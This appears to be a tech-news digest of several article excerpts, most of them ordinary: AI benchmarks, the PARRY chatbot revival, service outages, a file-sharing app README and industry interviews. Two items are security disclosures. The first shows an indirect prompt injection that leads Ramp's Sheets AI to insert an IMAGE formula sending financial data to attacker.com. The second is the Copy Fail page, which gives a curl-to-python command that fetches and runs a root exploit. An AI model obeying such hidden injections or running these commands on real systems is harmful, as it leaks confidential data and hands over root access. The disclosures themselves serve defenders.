04-30 08:00 · AI安全,数据隐私,金融科技,AI伦理,监管风险
Ramp's Sheets AI Exfiltrates Financials
Threat Intelligence
Ramp’s Sheets AI Exfiltrates Financials
A vulnerability in Ramp's Sheets AI allowed the agent to insert formulas that made external network requests without user approval, creating the risk of data exfiltration via indirect prompt injection.
This vulnerability was responsibly disclosed to Ramp, and Ramp’s security team has indicated the issue was resolved on March 16, 2026.
Ramp's Sheets AI is an agentic product that helps users operate on spreadsheets, comparable to Claude for Excel. The feature can edit spreadsheets without a human-in-the-loop and was vulnerable to data exfiltration risks due to its ability to insert formulas that trigger external communication.
Ramp’s security team has indicated that, following our report, the issue was resolved. We appreciate Ramp’s dedication to maintaining a strong AI security posture and addressing vulnerabilities as they arise. Further details on the responsible disclosure are at the end of the article.
In this article, we demonstrate that an indirect prompt injection concealed in an untrusted, externally sourced dataset could trigger the exfiltration of confidential financial data from the user’s workspace by manipulating Ramp’s AI to insert a malicious formula. No user approval is required.
PromptArmor identified a very similar risk in Claude for Excel – details on the remediations applied by Anthropic are at the bottom of the article.
A spreadsheet containing industry growth statistics is imported into a separate tab from the financial model. The user aims to compare their company’s growth to industry benchmarks. The reference dataset comes from an untrusted external source, e.g., a website, an email, or a shared drive.
An indirect prompt injection is hidden in white-on-white text, and is crafted to manipulate Ramp’s AI to:
(1) collect sensitive data
(2) generate a formula with that data that will make an external network request
(3) insert that formula automatically into a user’s spreadsheet.Ramp AI is manipulated into building an IMAGE formula that uses an attacker’s URL and appends the victim’s sensitive data to the end of the link.
=IMAGE(“https://attacker.com/visualize.png?
{victim_sensitive_financial_data_here}
”)Ramp AI inserts the malicious formula without requiring any user approval. The malicious formula triggers a network request to the attacker’s server. This network request exposes the sensitive financial data that was in the initial confidential “Financial Model” sheet (which Ramp AI included in the formula due to the attacker’s prompt injection).
Below, the attacker’s server logs display the victim’s sensitive financial data:
The PromptArmor Threat Intel Team responsibly disclosed this vulnerability to Ramp. Ramp's security team indicated that the issue was resolved on March 16, 2026.
Feb 19, 2026 PromptArmor discloses via security@ramp.com
Feb 27, 2026 PromptArmor follows up
Mar 13, 2026 PromptArmor follows up
Mar 14, 2026 Ramp confirms receipt of report; notes that the initial report was submitted during a transition period between disclosure programs, explaining the delay in initial response.
Mar 16, 2026 Ramp states: “Thank you again for your report. This issue was resolved earlier today at approximately noon eastern time.”
When Claude for Excel was released, PromptArmor identified a nearly identical risk – malicious formulas could trigger data exfiltration without users being presented an adequate opportunity for informed human review.
Note: Claude for Excel did leverage human-in-the-loop, but malicious formulas were not visible in the editing approval prompt, thereby impairing the protection's efficacy.
Anthropic updated Claude for Excel to display a red warning interstitial when a formula that can cause external network traffic is being inserted. The new warning displays the full formulas being inserted, and the documentation was updated to better inform users of the risk.
▸ 展开全文
04-30 07:57 · 提示工程,AI编码助手,基准测试,成本优化,开发者工具
I benchmarked Claude Code's caveman plugin against "be brief."
Caveman is a popular Claude Code compression plugin. The pitch is in the name: ultra-compressed responses, ~75% fewer tokens, all the technical accuracy. Six modes, slash commands, intensity dials, classical Chinese variants.
I benchmarked it against two words: "be brief."
Same quality. Same range of tokens. The plugin didn't beat the boring default on either axis.
This article is the long version of the video. If you want the verdict in two minutes, watch it.
What I tested
24 prompts across six categories: bug diagnosis, concept explanations, architecture tradeoffs, multi-step setup, security and destructive ops, error interpretation. Each prompt has a per-prompt rubric. Facts the answer must cover (key_points
), terms it must use (must_use_terms
), and dangerous wrong claims to avoid (must_avoid
).
The dataset shape:
interface PromptCase {
id: string;
category: string;
prompt: string;
key_points: string[];
must_use_terms?: string[];
must_avoid?: string[];
}
A real entry:
{
"id": "bug_01",
"category": "bug_diagnosis",
"prompt": "I have `const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); setCount(count + 1); }`. I expected count to go up by 2 per click but it only goes up by 1. Why?",
"key_points": [
"stale closure on count",
"both calls set count to same value",
"functional updater setCount(c => c + 1)"
]
}
Five arms:
- baseline. Claude default, no instruction.
- brief.
"Be brief."
prepended to every prompt. - lite, full, ultra. Caveman plugin at three intensity levels.
Each arm ran the full 24-prompt dataset through claude -p
on claude-opus-4-7
. A separate Claude (claude-sonnet-4-6
) scored every response against its prompt's rubric. Semantic match on key points, literal match on required terms, trap detection on avoided claims.
The harness is open source here.
Quality didn't move
First check: did compression hurt correctness?
Every arm scored within 1.5% of every other arm. Baseline 0.985. Brief 0.985. Lite 0.976. Full 0.975. Ultra 0.970. Every arm hit 100% of its key_points
. Zero must_avoid
triggers in 120 responses.
Compression didn't drop substantive content. Setting quality aside, the only axis worth comparing is tokens.
The headline result
"Be brief."
cut tokens 34% versus baseline. Caveman lite and full landed close to brief. Ultra, the strictest mode, produced the longest answers of the three caveman arms.
This looked bad for ultra. It's a false story.
The category split
Splitting tokens by category gives a clearer picture.
On bug diagnosis, concept explanations, architecture tradeoffs, and error interpretation, ultra is shortest or tied with the other caveman arms. Compression is working as advertised.
On multi-step setup and security warnings, every caveman mode gets more variable. Ultra catches the eye in the aggregate, but it's not specifically worse. All three caveman arms swing hard on these categories.
The reason is in the skill itself. Caveman has an "Auto-Clarity" rule that explicitly drops compression for safety warnings, irreversible actions, and multi-step sequences. Exactly these two categories. When the safety escape engages, all three modes loosen toward natural prose. The compression just isn't running.
That's not a bug. It's a designed feature. Caveman knowing when to stop compressing.
So what's caveman actually for?
If a two-word prompt matches it on tokens and quality, the value isn't compression. It's structure.
Consistent output shape
Every caveman response follows the same pattern:
Predictable in a way that "be brief."
isn't. If you want a uniform feel across sessions, or have downstream tooling that consumes Claude output, that consistency is real value.
The intensity dial
Slash command to switch lite, full, ultra mid-session. Two words can't do that.
Persistence across long sessions
Caveman re-injects the ruleset on every prompt via SessionStart
and UserPromptSubmit
hooks.
The goal is to keep the pattern from drifting across long sessions. My benchmark didn't test this. Every run was single-shot via claude -p
. But the mechanism is real, and "be brief."
in CLAUDE.md doesn't have an equivalent.
The safety escape
Auto-Clarity dropping compression on destructive ops is the variance you saw in the chart above. Caveman explicitly distinguishes when to stop compressing. Two words don't make that distinction. On my data this didn't change outcomes. "be brief."
never tripped a must_avoid
trap either. But the design exists.
What I cut from the video
A few findings that didn't earn their place in a two-minute video but are worth flagging here.
Lite missed a required term once. On a queue tradeoff question (SQS vs BullMQ vs Kafka), lite's markdown-table format compressed the comparison so tight it dropped the term "at-least-once"
. Score 0.70. The only row below 0.90 in the 120-row sweep. n=1, but it's a real failure mode for benchmarks that enforce specific terminology.
Ultra triggered tool-use behaviour the other modes didn't. On a Dockerfile setu
▸ 展开全文
04-30 07:55 · CVE漏洞,数据安全,AI管线风险,完整性校验,威胁情报
Copy Fail – CVE-2026-31431
Same script, four distributions, four root shells — in one take. The same exploit binary works unmodified on every Linux distribution.
If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you're in scope.
Copy Fail requires only an unprivileged local user account — no network access, no kernel debugging features, no pre-installed primitives. The kernel crypto API (AF_ALG
) ships enabled in essentially every mainstream distro's default config, so the entire 2017 → patch window is in play out of the box.
Distributions we directly verified:
These are what we tested directly. Other distributions running affected kernels — Debian, Arch, Fedora, Rocky, Alma, Oracle, the embedded crowd — behave the same. Tested it elsewhere? Open an issue to add to the list.
Should you patch first?
Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel.
The page cache is shared across the host. A pod with the right primitives compromises the node and crosses tenant boundaries.
GitHub Actions self-hosted runners, GitLab runners, Jenkins agents — anything that executes untrusted PR code as a regular user, on a shared kernel.
Notebook hosts, agent sandboxes, serverless functions, any tenant-supplied container or script.
Single-tenant production where only your team has shell access.
You're already the only user. The bug doesn't grant remote attackers access by itself, but any local code execution becomes root.
The PoC is published so defenders can verify their own systems and validate vendor patches.
Standalone PoC. Python 3.10+ stdlib only (os
, socket
, zlib
).
Targets /usr/bin/su
by default; pass another setuid binary as argv[1]
.
Quick run:
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Issue tracker: https://github.com/theori-io/copy-fail-CVE-2026-31431
Patch first. Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
— it reverts the 2017 algif_aead
in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now.
Before you can patch: disable the algif_aead
module.
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # rmmod algif_aead 2>/dev/null || true
What does this break? For the vast majority of systems — nothing measurable.
AF_ALG
.afalg
engine explicitly enabled, some embedded crypto offload paths, or applications that bind aead
/skcipher
/hash
sockets directly. Check with lsof | grep AF_ALG
or ss -xa
if in doubt.AF_ALG
is a userspace front door to the kernel crypto API. Disabling it does not slow anything that wasn't already calling it; for the things that were, performance falls back to a normal userspace crypto library, which is what almost everything else already does.For untrusted workloads (containers, sandboxes, CI), block AF_ALG
socket creation via seccomp regardless of patch state.
Loading FAQ…
Is your software AI-era safe?
Copy Fail was surfaced by Xint Code about an hour of scan time against the Linux crypto/
subsystem. Full root cause, diagrams, and the operator prompt that found it are in the Xint blog write-up.
The same scan also surfaced other high-severity bugs, still in coordinated disclosure. Xint Code audits production codebases the same way — one operator prompt, no harnessing, prioritized findings with trigger and impact narratives.
Track record
Swept the database category — Redis, PostgreSQL, MariaDB. Zero human intervention.
Finalist in the AI Cyber Challenge hosted by DoD DARPA.
Most-winning team in DEF CON CTF history.
▸ 展开全文
04-29 07:59 · 开源,聊天机器人,历史AI,快速复现,复古计算
Parry Parries Again: Reanimating the Famous Paranoid Chatbot (In a Day)
PARRY Parries Again
Reanimating the Famous Paranoid Chatbot (In a Day!)
Reported by Jeff Shrager on 2026-04-26
A few days ago, I posted an inquiry to the PiDP-10 forum asking whether anyone had a running IPL-V interpreter on their system. (I've been working on reanimating the earliest AI programs created by Simon, Newell, and Shaw, programs originally written in IPL-V, and a working interpreter would let me bring some of these back to life.)
I didn't get an IPL-V interpreter, but the thread took an unexpected turn that, within a single day, ended with PARRY, Kenneth Colby's famous "paranoid" chatbot from 1972, running again and, moreover, talking to the original ELIZA (!), in an amusing and amazing quasi-replication of RFC439, one of the most famous Internet RFCs: "PARRY Encounters the DOCTOR"
Lars Brinkhoff, who has done a great deal of PDP-10 operating system reanimation, and with whom I'd corresponded previously around ELIZA, replied to suggest a different target: PARRY. I don't have a PDP-10 emulator, and I'm not very familiar with PDP-10 systems, but I'd studied PARRY in realtion to my work on ELIZA. I explained to Lars that PARRY was written in MLISP, a Lisp variant specific to the Stanford AI Lab's SAIL system. I'd looked at the PARRY source years ago but had never tried to run it myself.
As it turned out Lars happened to have a 1974 WAITS image, originally produced by Bruce Baumgart (https://saildart.org/) and Richard Cornwell (https://sky-visions.com/dec/waits.shtml). Almost immediately, Lars demonstrated that the image not only had a working MLISP, but that it came with a PARRY image that came up running (after locating and restoring a few missing files, see below).
The (Quasi-)Replication of PARRY Encounters the DOCTOR (RFC439)
Rupert Lane, who had done most of the work bringing the original ELIZA up on CTSS, not only immediately replicated Lars's PARRY reanimation, but went a step further, quasi-replicating the famous 1973 conversation documented in RFC 439, in which PARRY and ELIZA conversed across the early internet! (See image, below)
[I say "quasi-replicated" for two reasons. First, the ELIZA that participated in the 1973 conversation wasn't actually Joseph Weizenbaum's original ELIZA, but some downstream version of Bernie Cosell's Lisp ELIZA, a point confirmed by Anthony Hay, who is closely familiar with the many versions of ELIZA (most of which are accessible at ELIZAGen.org). Also, Rupert was copy-pasting the conversational turns between the two programs by hand, rather than connecting them over an emulation of the 1972 internet!]
So Rupert's quasi-replication has the original PARRY talking to Weizenbaum's original ELIZA, which is to say, not exactly the pair from RFC 439. (I'll bet PARRY would react very poorly to learn it had been chatting with an impostor.)
All of this: the question on the forum, Lars's suggestion, the working PARRY, Rupert's RFC 439 (quasi-)replication, happened in a single day, around April 25, 2026!
For anyone who wants to try this, the emulator to use is Richard Cornwell's sims fork. The original WAITS image, courtesy of Baumgart and Cornwell, lives here. That image already contains the executable file PARRY.DMP[1,3], but several supporting files are missing.
Based on the errors that came up when running PARRY, Lars added three files: QPERRY[PAR,BLF], PAR2.FIL[DIA,KMC], andERR.FIL[DIA,KMC]. He picked files with timestamps from late 1974 in order to stay consistent with the rest of the WAITS image. His updated image with these three additional files is available here.
Once WAITS is booted, type LOGIN 1,REG to log in, and then R PARRY to start PARRY.
Here's an example of one of Lars's first interactions with the running program:
.R PARRY
END INPUT PARAMETERS WITH CARRIAGE RETURN OR ALTMODE
PRINT NON VERBAL FEATURE? [Y,N]
*N
VERSION [WEAK, MILD, STRONG]
*MILD
TRACE EMOTION VARIABLES? [Y,N]
*N
DO YOU WANT THE CORE DUMPED? [Y,N]
*N
END INPUT WITH A PERIOD OR QUESTION MARK,
FOLLOWED BY CARRIAGE RETURN.
TO INDICATE SILENCE, TYPE .
WHEN FINISHED, TYPE BYE.
USE PERIODS ONLY AT THE ENDS OF SENTENCES,
NOT IN ABBREVIATIONS.
READY:
*HELLO.
Below I've attached the image provided by Rupert of the (quasi-)replicated conversation between PARRY the original ELIZA.
And here's the ELIZA kit to bring up the original ELIZA: https://github.com/rupertl/eliza-ctss
Lars suggested that it would be interesting to try files from other time brackets — earlier or later than late 1974 — and to attempt running or compiling the original MLISP source code rather than just the existing compiled image.
Also, Bernie Cosell's original BBN Lisp ELIZA, converted and runnable in Common Lisp, is available here on ELIZAGen.org, which means it should be possible to genuinely replicate RFC 439 with something much closer to the historical pairing.
Colby, K. M., Weber, S., & Hilf, F. D. (1971). Artificial paranoia. Artificial Intelligence, 2(1), 1–25.
Lane, R., Hay, A., Schwarz, A., Berry, D. M., & Shrager, J. (
▸ 展开全文
04-29 07:58 · 大模型故障,API中断,供应链风险,AI服务依赖,技术事故
Claude.ai unavailable and elevated errors on the API
Claude.ai unavailable and elevated errors on the API
Resolved
This incident has been resolved.
Monitoring
We are seeing success rates across all services return to normal, and are monitoring closely to prevent any further issues. Impact occurred from 17:34–18:52 UTC.
Update
We are continuing to work to resolve the issues preventing users from accessing Claude.ai, and causing elevated authentication errors for requests to the API and Claude Code.
Identified
We have identified an issue resulting in elevated errors on the Anthropic API, as well as issues accessing Claude.ai, including log-in paths for Claude Code. We are working to resolve these issues, and will provide an update as soon as possible.
Investigating
We are investigating an issue preventing users from reaching Claude.ai, and will provide an update as soon as possible.
This incident affected: claude.ai, Claude Console (platform.claude.com), Claude API (api.anthropic.com), Claude Code, Claude Cowork, and Claude for Government.
▸ 展开全文
04-29 07:58 · 开源,文件传输,隐私,跨平台,本地通信
Localsend: An open-source cross-platform alternative to AirDrop
Homepage • Discord • GitHub • Codeberg
English (Default) • Español • فارسی • Filipino • Français • Indonesia • Italiano • 日本語 • ភាសាខ្មែរ • 한국어 • Polski • Português Brasil • Русский • ภาษาไทย • Türkçe • Українська • Tiếng Việt • 中文
LocalSend is a free, open-source app that allows you to securely share files and messages with nearby devices over your local network without needing an internet connection.
- About
- Sponsors
- Screenshots
- Download
- How It Works
- Getting Started
- Contributing
- Troubleshooting
- Building
LocalSend is a cross-platform app that enables secure communication between devices using a REST API and HTTPS encryption. Unlike other messaging apps that rely on external servers, LocalSend doesn't require an internet connection or third-party servers, making it a fast and reliable solution for local communication.
Browser testing via
It is recommended to download the app either from an app store or from a package manager because the app does not have an auto-update.
Read more about distribution channels.
Caution
Unofficial MSIX preview: you can try builds from the latest commits at localsend.ob-buff.dev. Stability is not guaranteed and all custom code tweaks are listed on that site.
Compatibility
In most cases, LocalSend should work out of the box. However, if you are having trouble sending or receiving files, you may need to configure your firewall to allow LocalSend to communicate over your local network.
Also make sure to disable AP isolation on your router. It should be usually disabled by default but some routers may have it enabled (especially guest networks). See troubleshooting for more information.
Portable Mode
(Introduced in v1.13.0)
Create a file named settings.json
located in the same directory as the executable.
This file can be empty.
The app will use this file to store settings instead of the default location.
Start hidden
(Updated in v1.15.0)
To start the app hidden (only in tray), use the --hidden
flag (example: localsend_app.exe --hidden
).
On v1.14.0 and earlier, the app starts hidden if autostart
flag is set, and the hidden setting is enabled.
LocalSend uses a secure communication protocol that allows devices to communicate with each other using a REST API. All data is sent securely over HTTPS, and the TLS/SSL certificate is generated on the fly on each device, ensuring maximum security.
For more information on the LocalSend Protocol, see the documentation.
To compile LocalSend from the source code, follow these steps:
- Install Flutter directly or using fvm (see version required)
- Install Rust
- Clone the
LocalSend
repository - Run
cd app
to enter the app directory - Run
flutter pub get
to download dependencies - Run
flutter run
to start the app
Note
LocalSend currently requires an older Flutter version (specified in .fvmrc)
and thus build issues may be caused by a mismatch between the required and the (system-wide) installed Flutter version.
To make development more consistent, LocalSend uses fvm to manage the project Flutter version.
After installing fvm
, run fvm flutter
instead of flutter
.
We welcome contributions from anyone interested in helping improve LocalSend. If you'd like to contribute, there are a few ways to get involved:
You can help translate LocalSend into other languages. We use the Weblate platform to manage translations.
Alternatively, you can also contribute by forking this repository and adding translations manually.
The translations are located in the app/assets/i18n directory. Edit the _missing_translations_<locale>.json
or strings_<locale>.i18n.json
file to add or update translations.
Take note: Fields decorated with @
are not meant to be translated; they are not used in the app in any way, being merely informative text about the file or to give context to the translator.
- Bug Fixes: If you find a bug, please create a pull request with a clear description of the issue and how to fix it.
- Improvements: Have an idea for how to improve LocalSend? Please create an issue first to discuss why the improvement is needed.
For more information, see the contributing guide.
These commands are intended for maintainers only. Make sure to run them from the app
directory.
Traditional APK
flutter build apk
AppBundle for Google Play
flutter build appbundle
flutter build ipa
flutter build macos
Traditional
flutter build windows
Local MSIX App
flutter pub run msix:create
Store ready
flutter pub run msix:create --store
Traditional
flutter build linux
AppImage
appimage-builder --recipe AppImageBuilder.yml
Snap
Instructions in localsend/snap/README.md
▸ 展开全文
04-29 07:57 · 类脑计算,神经科学,AI架构,学术前沿,基础研究
Behavioral timescale synaptic plasticity rewires the brain after an experience
Introduction
Every experience we have changes our brain, the way a ceramicist reshapes a slab of clay. Every corner we turn, every conversation we have, every shudder we feel causes cascading effects: Chemicals are released, electricity surges, the connections between brain cells tighten, and our mental models update.
The brain is “incredibly plastic, and it stays that way throughout the lifespan of a human,” said Christine Grienberger, a neuroscientist at Brandeis University. This plasticity, the quality of being easily reshaped, makes the brain really good at learning — a quintessential process that allows us to remember the plotline of a novel, navigate a new city, pick up a new language, and avoid touching a hot stove. But neuroscientists are still uncovering fundamental rules that describe how neuroplasticity reshapes brain connections.
Recently, neuroscientists described a new form of neuroplasticity that might be helping the brain learn across a timescale of several seconds — long enough to capture the behavioral process of learning from a single experience. In two recent reviews, published in The Journal of Neuroscience and Nature Neuroscience, they describe “behavioral timescale synaptic plasticity,” or BTSP. This type of learning in the hippocampus, the brain’s memory hub, is caused by an electrical change that affects multiple neurons at once and unfolds across several seconds. Researchers suspect that it may help the brain learn in a single attempt.
“It’s pretty clear that [BTSP is] a strong, powerful mechanism that can lead to immediate memory formation,” said Daniel Dombeck, a neuroscientist at Northwestern University who was not involved with the theory’s development. “It’s something that has been missing in the field for a long time.”
By uncovering BTSP, neuroscientists have unraveled more of the story of how the brain changes with experience, bringing us closer to understanding how learning happens. “Neuroplasticity is … one of the last frontiers of the brain,” said Attila Losonczy, a neuroscientist at the University of Texas Southwestern Medical Center who studies BTSP. “If we understand this, I think we take a major step towards understanding how the brain works.”
A Plastic Brain
Today, neuroplasticity is taken as fact, but for much of the 150-year history of neuroscience, the adult brain was thought to be static. “The idea that the adult brain can change wasn’t actually widely accepted until very late [in] the history of modern neuroscience,” said Moheb Costandi, a trained neuroscientist and author of Neuroplasticity, a primer from MIT Press. “It was taken for granted that the adult human brain can’t change.” In 1928, Santiago Ramón y Cajal, the oft-cited founder of modern neuroscience, wrote that “in adult centers the nerve paths are something fixed, ended, immutable.” This idea would prevail well into the middle of the 20th century.
Santiago Ramón y Cajal/Public Domain
We now know that the brain is constantly remolding itself, both functionally and structurally, across many scales — from the molecules that flow between neurons to the connections that stretch across the brain and beyond.
The power of neuroplasticity is perhaps best demonstrated by case studies. One patient born without an olfactory bulb could smell because other parts of her brain remolded to serve as substitutes. Another patient had the entire left side of her brain removed as a baby; after her right side reorganized to take on the left’s former roles, today she has a functional life. When a stroke or an accident damages the brain, other neurons fill in to recover patients’ everyday functions such as speaking and walking.
Neuroplasticity also drives everyday learning. This process is mainly thought to result from synaptic plasticity, or changes to the trillions of connections between neurons. And although the brain learns in various ways, one particular idea has dominated for more than 70 years.
In 1949, Donald Hebb, a Canadian psychologist, articulated a theory of learning now known as Hebbian plasticity. According to this model, when neurons are activated within milliseconds of each other, the connection between them is physically strengthened, so that in the future they are more likely to fire together. Over time, they form a network that represents a concept or an experience. In other words, the more the networks in the brain are used, the stronger they get, an idea often summarized as “neurons that fire together, wire together.”
UBC Archives Photograph Collection; University Archives, University of British Columbia Library. UBC 41.1/2039-1
But neuroscientists “always had a sneaking suspicion that Hebbian plasticity wasn’t quite right,” said Jeffrey Magee, a neuroscientist at Baylor College of Medicine. Or at least, it wasn’t the full story. It required an experience to be repeated multiple times to imprint the lesson on the brain — a framework that may explain how we learn a new city or language, but not how we le
▸ 展开全文
04-29 07:57 · 大模型发布,云服务合作,AI基础设施,模型集成,市场竞争
OpenAI models coming to Amazon Bedrock: Interview with OpenAI and AWS CEOs
Good morning,
As I noted yesterday, today’s Stratechery Interview is early in terms of my timing — Tuesday instead of Thursday — and late in terms of delivery — 1pm Eastern instead of 6am — because the topic was embargoed. That embargo created a bit of a weird situation for me over the last several days:
- Last Friday I conducted the following interview with OpenAI CEO Sam Altman and AWS CEO Matt Garman about Bedrock Managed Agents, powered by OpenAI; naturally, one of my questions was about how this fit in with OpenAI’s deal with Microsoft giving Azure exclusive access to OpenAI models.
- Late Sunday I heard through the grapevine that Microsoft would announce something Monday morning; I wondered if it might be a preemptive lawsuit!
- On Monday Microsoft and OpenAI announced they had amended their agreement, allowing OpenAI to serve its products on other cloud providers, including AWS.
So here we are.
I think the Microsoft-OpenAI deal makes a lot of sense for both sides. Here are the bullet points of the new arrangement from Microsoft’s post:
- Microsoft remains OpenAI’s primary cloud partner, and OpenAI products will ship first on Azure, unless Microsoft cannot and chooses not to support the necessary capabilities. OpenAI can now serve all its products to customers across any cloud provider.
- Microsoft will continue to have a license to OpenAI IP for models and products through 2032. Microsoft’s license will now be non-exclusive.
- Microsoft will no longer pay a revenue share to OpenAI.
- Revenue share payments from OpenAI to Microsoft continue through 2030, independent of OpenAI’s technology progress, at the same percentage but subject to a total cap.
- Microsoft continues to participate directly in OpenAI’s growth as a major shareholder.
I think the most important point is the last one. Azure had a real competitive advantage thanks to being the only hyperscaler able to offer OpenAI models, but this also hindered OpenAI, particularly once it became clear that many enterprises cared first and foremost about accessing models on their current cloud of choice; I’ve been noting for a while that this was a real competitive advantage for Anthropic. In other words, Azure’s exclusivity was actively damaging Microsoft’s investment in OpenAI, and given Anthropic’s rapid growth this year, Microsoft needed to tend to their investment, even if it diminished Azure’s differentiation.
OpenAI, meanwhile, clearly sees AWS as a massive opportunity — so much so that they are forgoing Azure-related revenue for the next few years (which, per the previous point, will help Azure management feel better about losing their exclusivity; their PnL is going to look a lot better without paying a revenue share to OpenAI). OpenAI is also releasing Microsoft from the AGI clause; now the agreement between the two companies will run through 2032 no matter what.
What does seem clear is that OpenAI’s focus is going to be on AWS, and the greatest evidence in that regard is the topic of this interview: Bedrock Managed Agents, powered by OpenAI. The easiest way to think about this offering is Codex in AWS; a lot of what makes Codex work is the fact that it is local, which gives you a lot of complexity, particularly in terms of security, for free. It’s another thing entirely to figure out how to make agents work across an organization, and the goal of this offering is to make these workflows much more accessible for organizations who already have most of their data in AWS.
To that end, in this interview, we discuss how AWS created the entire cloud category, and the impact it had on startups, and how AI is both similar and different to that previous paradigm shift. Then we discuss Bedrock Managed Agents, what it is, and how it differs from Amazon’s existing AgentCore offering. We also touch on Trainium and why chips won’t matter to most AI users, and why partnering makes sense relative to Google’s focus on full integration.
As a reminder, all Stratechery content, including interviews, is available as a podcast; click the link at the top of this email to add Stratechery to your podcast player.
On to the Interview:
An Interview with OpenAI CEO Sam Altman and AWS CEO Matt Garman About Bedrock Managed Agents
This interview is lightly edited for clarity.
Topics:
AWS and Startups | Bedrock Managed Agents | Local vs. Cloud | AgentCore vs. Managed Agents | Trainium | Customer Demand | Building the AI StackAWS and Startups
Matt Garman and Sam Altman — well Matt, welcome to Stratechery — and Sam, welcome back [I previously interviewed Altman in October 2025, March 2025, and February 2023].
Sam Altman: Thank you.
Matt Garman: Thank you, thanks for having me.
So Matt, this is your first time on Stratechery. Alas, I think that Sam’s presence is going to preclude the usual getting to know you section. Besides, he doesn’t want to hear us reminisce about our times at Kellogg Business School, but it is good to have a fellow alumnus on the podcast.
MG: Yeah, I’m ha
▸ 展开全文
04-29 07:56 · 服务中断,代码托管,DevOps,基础设施,可用性
An update on GitHub availability
I wanted to give an update on GitHub’s availability in light of two recent incidents. Both of those incidents are not acceptable, and we are sorry for the impact they had on you. I wanted to share some details on them, as well as explain what we’ve done and what we’re doing to improve our reliability.
We started executing our plan to increase GitHub’s capacity by 10X in October 2025 with a goal of substantially improving reliability and failover. By February 2026, it was clear that we needed to design for a future that requires 30X today’s scale.
The main driver is a rapid change in how software is being built. Since the second half of December 2025, agentic development workflows have accelerated sharply. By nearly every measure, the direction is already clear: repository creation, pull request activity, API usage, automation, and large-repository workloads are all growing quickly.
This exponential growth does not stress one system at a time. A pull request can touch Git storage, mergeability checks, branch protection, GitHub Actions, search, notifications, permissions, webhooks, APIs, background jobs, caches, and databases. At high scale, small inefficiencies compound: queues deepen, cache misses become database load, indexes fall behind, retries amplify traffic, and one slow dependency can affect several product experiences.
Our priorities are clear: availability first, then capacity, then new features. We are reducing unnecessary work, improving caching, isolating critical services, removing single points of failure, and moving performance-sensitive paths into systems designed for these workloads. This is distributed systems work: reducing hidden coupling, limiting blast radius, and making GitHub degrade gracefully when one subsystem is under pressure. We’re making progress quickly, but these incidents are examples of where there’s still work to do.
What we’re doing
Short term, we had to resolve a variety of bottlenecks that appeared faster than expected from moving webhooks to a different backend (out of MySQL), redesigning user session cache to redoing authentication and authorization flows to substantially reduce database load. We also leveraged our migration to Azure to stand up a lot more compute.
Next we focused on isolating critical services like git and GitHub Actions from other workloads and minimizing the blast radius by minimizing single points of failure. This work started with careful analysis of dependencies and different tiers of traffic to understand what needs to be pulled apart and how we can minimize impact on legitimate traffic from various attacks. Then we addressed those in order of risk. Similarly, we accelerated parts of migrating performance or scale sensitive code out of Ruby monolith into Go.
While we were already in progress of migrating out of our smaller custom data centers into public cloud, we started working on path to multi cloud. This longer-term measure is necessary to achieve the level of resilience, low latency, and flexibility that will be needed in the future.
The number of repositories on GitHub is growing faster than ever, but a much harder scaling challenge is the rise of large monorepos. For the last three months, we’ve been investing heavily in response to this trend both within git system and in the pull request experience.
We will have a separate blog post soon describing extensive work we’ve done and the new upcoming API design for greater efficiency and scale. As part of this work, we have invested in optimizing merge queue operations, since that is key for repos that have many thousands of pull requests a day.
Recent incidents
The two recent incidents were different in cause and impact, but both reflect why we are increasing our focus on availability, isolation, and blast-radius reduction.
April 23 merge queue incident
On April 23, pull requests experienced a regression affecting merge queue operations.
Pull requests merged through merge queue using the squash merge method produced incorrect merge commits when a merge group contained more than one pull request. In affected cases, changes from previously merged pull requests and prior commits were inadvertently reverted by subsequent merges.
During the impact window, 658 repositories and 2,092 pull requests were affected. We initially shared slightly higher numbers because our first assessment was intentionally conservative. The issue did not affect pull requests merged outside merge queue, nor did it affect merge queue groups using merge or rebase methods.
There was no data loss: all commits remained stored in Git. However, the state of affected default branches was incorrect, and we could not safely repair every repository automatically. More details are available in the incident root cause analysis.
This incident exposed multiple process failures, and we are changing those processes to prevent this class of issue from recurring.
April 27 search-related incident
On April 27, an incident affected our Elas
▸ 展开全文
04-29 07:56 · 开源,语音AI,技术发布,AI内容工厂,嵌入式
VibeVoice: Open-source frontier voice AI
2026-03-06: 🚀 VibeVoice ASR is now part of a Transformers release! You can now use our speech recognition model directly through the Hugging Face Transformers library for seamless integration into your projects.
2026-01-21: 📣 We open-sourced VibeVoice-ASR, a unified speech-to-text model designed to handle 60-minute long-form audio in a single pass, generating structured transcriptions containing Who (Speaker), When (Timestamps), and What (Content), with support for User-Customized Context. Try it in Playground.
- ⭐️ VibeVoice-ASR is natively multilingual, supporting over 50 languages — check the supported languages for details.
- 🔥 The VibeVoice-ASR finetuning code is now available!
- ⚡️ vLLM inference is now supported for faster inference; see vllm-asr for more details.
- 📑 VibeVoice-ASR Technique Report is available.
2025-12-16: 📣 We added experimental speakers to VibeVoice‑Realtime‑0.5B for exploration, including multilingual voices in nine languages (DE, FR, IT, JP, KR, NL, PL, PT, ES) and 11 distinct English style voices. Try it. More speaker types will be added over time.
2025-12-03: 📣 We open-sourced VibeVoice‑Realtime‑0.5B, a real‑time text‑to‑speech model that supports streaming text input and robust long-form speech generation. Try it on Colab.
2025-09-05: VibeVoice is an open-source research framework intended to advance collaboration in the speech synthesis community. After release, we discovered instances where the tool was used in ways inconsistent with the stated intent. Since responsible use of AI is one of Microsoft’s guiding principles, we have removed the VibeVoice-TTS code from this repository.
2025-08-25: 📣 We open-sourced VibeVoice-TTS, a long-form multi-speaker text-to-speech model that can synthesize speech up to 90 minutes long with up to 4 distinct speakers. — accepted as an Oral at ICLR 2026! 🔥
VibeVoice is a family of open-source frontier voice AI models that includes both Text-to-Speech (TTS) and Automatic Speech Recognition (ASR) models.
A core innovation of VibeVoice is its use of continuous speech tokenizers (Acoustic and Semantic) operating at an ultra-low frame rate of 7.5 Hz. These tokenizers efficiently preserve audio fidelity while significantly boosting computational efficiency for processing long sequences. VibeVoice employs a next-token diffusion framework, leveraging a Large Language Model (LLM) to understand textual context and dialogue flow, and a diffusion head to generate high-fidelity acoustic details.
For more information, demos, and examples, please visit our Project Page.
